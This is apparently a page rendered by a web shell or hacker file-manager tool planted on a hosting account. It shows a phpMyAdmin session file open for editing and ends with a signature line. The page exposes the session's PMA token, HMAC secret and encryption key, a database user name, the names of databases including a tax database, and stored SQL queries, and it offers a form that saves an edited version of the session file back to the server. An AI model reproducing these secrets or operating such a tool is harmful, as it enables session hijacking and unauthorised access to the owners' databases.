

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: sess_970532f03cc7d391c565bdd106eb98c8</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'> PMA_token |s:32:&quot;6840275d2b71596d4e2f7d3526646768&quot;; HMAC_secret |s:16:&quot;}&quot;U&amp;@M&amp;9}4!)D?uk&quot;;auth_type|s:3:&quot;env&quot;;browser_access_time|a:1:{s:7:&quot;default&quot;;i:1755329125;}encryption_key|s:32:&quot;��&quot;B[Dmi#v��r2�.�u�Y�׬��6�D�rf&quot;;relation|a:1:{i:1;a:41:{s:7:&quot;version&quot;;s:5:&quot;5.2.2&quot;;s:4:&quot;user&quot;;N;s:2:&quot;db&quot;;N;s:8:&quot;bookmark&quot;;N;s:15:&quot;central_columns&quot;;N;s:11:&quot;column_info&quot;;N;s:17:&quot;designer_settings&quot;;N;s:16:&quot;export_templates&quot;;N;s:8:&quot;favorite&quot;;N;s:7:&quot;history&quot;;N;s:16:&quot;navigationhiding&quot;;N;s:9:&quot;pdf_pages&quot;;N;s:6:&quot;recent&quot;;N;s:8:&quot;relation&quot;;N;s:13:&quot;savedsearches&quot;;N;s:12:&quot;table_coords&quot;;N;s:10:&quot;table_info&quot;;N;s:13:&quot;table_uiprefs&quot;;N;s:8:&quot;tracking&quot;;N;s:10:&quot;userconfig&quot;;N;s:10:&quot;usergroups&quot;;N;s:5:&quot;users&quot;;N;s:12:&quot;bookmarkwork&quot;;b:0;s:8:&quot;mimework&quot;;b:0;s:18:&quot;centralcolumnswork&quot;;b:0;s:8:&quot;commwork&quot;;b:0;s:9:&quot;menuswork&quot;;b:0;s:20:&quot;designersettingswork&quot;;b:0;s:11:&quot;displaywork&quot;;b:0;s:19:&quot;exporttemplateswork&quot;;b:0;s:12:&quot;favoritework&quot;;b:0;s:7:&quot;navwork&quot;;b:0;s:7:&quot;pdfwork&quot;;b:0;s:10:&quot;recentwork&quot;;b:0;s:7:&quot;relwork&quot;;b:0;s:17:&quot;savedsearcheswork&quot;;b:0;s:11:&quot;historywork&quot;;b:0;s:12:&quot;trackingwork&quot;;b:0;s:11:&quot;uiprefswork&quot;;b:0;s:14:&quot;userconfigwork&quot;;b:0;s:8:&quot;allworks&quot;;b:0;}}userconfig|a:2:{s:2:&quot;db&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:12:&quot;Console/Mode&quot;;s:8:&quot;collapse&quot;;}s:2:&quot;ts&quot;;i:1755329016;}two_factor_check|b:1;cache|a:2:{s:8:&quot;server_1&quot;;a:4:{s:15:&quot;userprefs_mtime&quot;;i:1755329016;s:14:&quot;userprefs_type&quot;;s:7:&quot;session&quot;;s:12:&quot;config_mtime&quot;;i:1754420662;s:9:&quot;userprefs&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}}}s:25:&quot;server_1_cpses_qbrpsreecs&quot;;a:16:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:4:{i:0;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;i:1;s:15:&quot;qbfdcvcb\_teats&quot;;i:2;s:25:&quot;qbfdcvcb\_site-management&quot;;i:3;s:17:&quot;qbfdcvcb\_bagisto&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qbrpsreecs@localhost&quot;;s:12:&quot;is_superuser&quot;;b:0;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}}tmpval|a:14:{s:14:&quot;favoriteTables&quot;;a:1:{i:1;a:0:{}}s:12:&quot;recentTables&quot;;a:1:{i:1;a:0:{}}s:18:&quot;table_limit_offset&quot;;i:0;s:21:&quot;table_limit_offset_db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;query&quot;;a:8:{s:32:&quot;a769eb475fd4c087cbce08ba22ea0915&quot;;a:8:{s:3:&quot;sql&quot;;s:340:&quot;-- 1.1 Ensure a single invoice per client+tax_year
ALTER TABLE invoices
  ADD COLUMN tax_year_id INT NULL AFTER client_id,
  ADD COLUMN filing_type ENUM(&#039;R&#039;,&#039;X&#039;) NOT NULL DEFAULT &#039;R&#039; AFTER tax_year_id,
  ADD CONSTRAINT fk_invoices_taxyear
    FOREIGN KEY (tax_year_id) REFERENCES taxyears(id)
    ON UPDATE CASCADE ON DELETE RESTRICT;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;e7107abadc1ac93b8109ee3856295d50&quot;;a:8:{s:3:&quot;sql&quot;;s:145:&quot;-- Add/ensure uniqueness per client + tax_year
ALTER TABLE invoices
  ADD CONSTRAINT uq_invoice_client_taxyear UNIQUE (client_id, tax_year_id);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;9f8dc5904192951106ec8f1ec0fdf2c7&quot;;a:8:{s:3:&quot;sql&quot;;s:340:&quot;-- 1.1 Ensure a single invoice per client+tax_year
ALTER TABLE invoices
  ADD COLUMN tax_year_id INT NULL AFTER client_id,
  ADD COLUMN filing_type ENUM(&#039;R&#039;,&#039;X&#039;) NOT NULL DEFAULT &#039;R&#039; AFTER tax_year_id,
  ADD CONSTRAINT fk_invoices_taxyear
    FOREIGN KEY (tax_year_id) REFERENCES taxyears(id)
    ON UPDATE CASCADE ON DELETE RESTRICT;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;32c81492abe64bbfa685d774a413143e&quot;;a:8:{s:3:&quot;sql&quot;;s:109:&quot;-- login first
-- mysql -u your_user -p

-- select your database (replace with yours)
USE `securetax_db`;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;651a41b66f6edcf8410565cc4bb13329&quot;;a:8:{s:3:&quot;sql&quot;;s:18:&quot;START TRANSACTION;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;6bba715ec7e23df9e3b12108afed72f8&quot;;a:8:{s:3:&quot;sql&quot;;s:126:&quot;-- 1) Add columns (skip if they already exist)
ALTER TABLE `invoices`
  ADD COLUMN `tax_year_id` INT NULL AFTER `client_id`;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;0bd423fcfd593ea35655a2b8c9f475e4&quot;;a:8:{s:3:&quot;sql&quot;;s:106:&quot;ALTER TABLE `invoices`
  ADD COLUMN `filing_type` ENUM(&#039;R&#039;,&#039;X&#039;) NOT NULL DEFAULT &#039;R&#039; AFTER `tax_year_id`;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;768aa69a1f1dc1b70954a50a4cec7717&quot;;a:8:{s:3:&quot;sql&quot;;s:197:&quot;-- 2) FK to managed tax years
ALTER TABLE `invoices`
  ADD CONSTRAINT `fk_invoices_taxyear`
    FOREIGN KEY (`tax_year_id`) REFERENCES `taxyears`(`id`)
    ON UPDATE CASCADE ON DELETE RESTRICT;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}}s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;s:12:&quot;display_blob&quot;;b:0;s:19:&quot;hide_transformation&quot;;b:0;s:3:&quot;pos&quot;;i:0;s:8:&quot;max_rows&quot;;i:25;s:12:&quot;repeat_cells&quot;;i:100;}git_location|N;is_git_revision|b:0;ConfigFile1|a:4:{s:28:&quot;PmaNoRelation_DisableWarning&quot;;b:1;s:12:&quot;ShowCreateDb&quot;;b:0;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}s:7:&quot;Servers&quot;;a:1:{i:1;a:2:{s:7:&quot;only_db&quot;;s:0:&quot;&quot;;s:7:&quot;hide_db&quot;;s:0:&quot;&quot;;}}}debug|a:0:{}flashMessages|a:0:{}Import_message|a:2:{s:7:&quot;message&quot;;s:1104:&quot;&lt;div class=&quot;alert alert-danger&quot; role=&quot;alert&quot;&gt;&lt;h1&gt;Error&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;SQL query:&lt;/strong&gt;  &lt;a href=&quot;#&quot; class=&quot;copyQueryBtn&quot; data-text=&quot;-- 2) FK to managed tax years
ALTER TABLE `invoices`
  ADD CONSTRAINT `fk_invoices_taxyear`
    FOREIGN KEY (`tax_year_id`) REFERENCES `taxyears`(`id`)
    ON UPDATE CASCADE ON DELETE RESTRICT;&quot;&gt;Copy&lt;/a&gt;
    &lt;/p&gt;
&lt;p&gt;
&lt;code class=&quot;sql&quot; dir=&quot;ltr&quot;&gt;&lt;pre&gt;
-- 2) FK to managed tax years
ALTER TABLE `invoices`
  ADD CONSTRAINT `fk_invoices_taxyear`
    FOREIGN KEY (`tax_year_id`) REFERENCES `taxyears`(`id`)
    ON UPDATE CASCADE ON DELETE RESTRICT;
&lt;/pre&gt;&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
    &lt;strong&gt;MySQL said: &lt;/strong&gt;&lt;a href=&quot;./url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F8.0%2Fen%2Fserver-error-reference.html&quot; target=&quot;mysql_doc&quot;&gt;&lt;img src=&quot;themes/dot.gif&quot; title=&quot;Documentation&quot; alt=&quot;Documentation&quot; class=&quot;icon ic_b_help&quot;&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;code&gt;#1005 - Can&amp;#039;t create table `qbfdcvcb_securetax_db`.`invoices` (errno: 150 &amp;quot;Foreign key constraint is incorrectly formed&amp;quot;) (&lt;a href=&quot;index.php?route=/server/engines/InnoDB/Status&quot;&gt;Details…&lt;/a&gt;)&lt;/code&gt;&lt;br&gt;&lt;/div&gt;&quot;;s:11:&quot;go_back_url&quot;;s:60:&quot;index.php?route=/database/structure&amp;db=qbfdcvcb_securetax_db&quot;;}is_multi_query|b:1;sql_from_query_box|b:1;errors|a:0:{}</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/tmp/sess_970532f03cc7d391c565bdd106eb98c8'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Ftmp' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>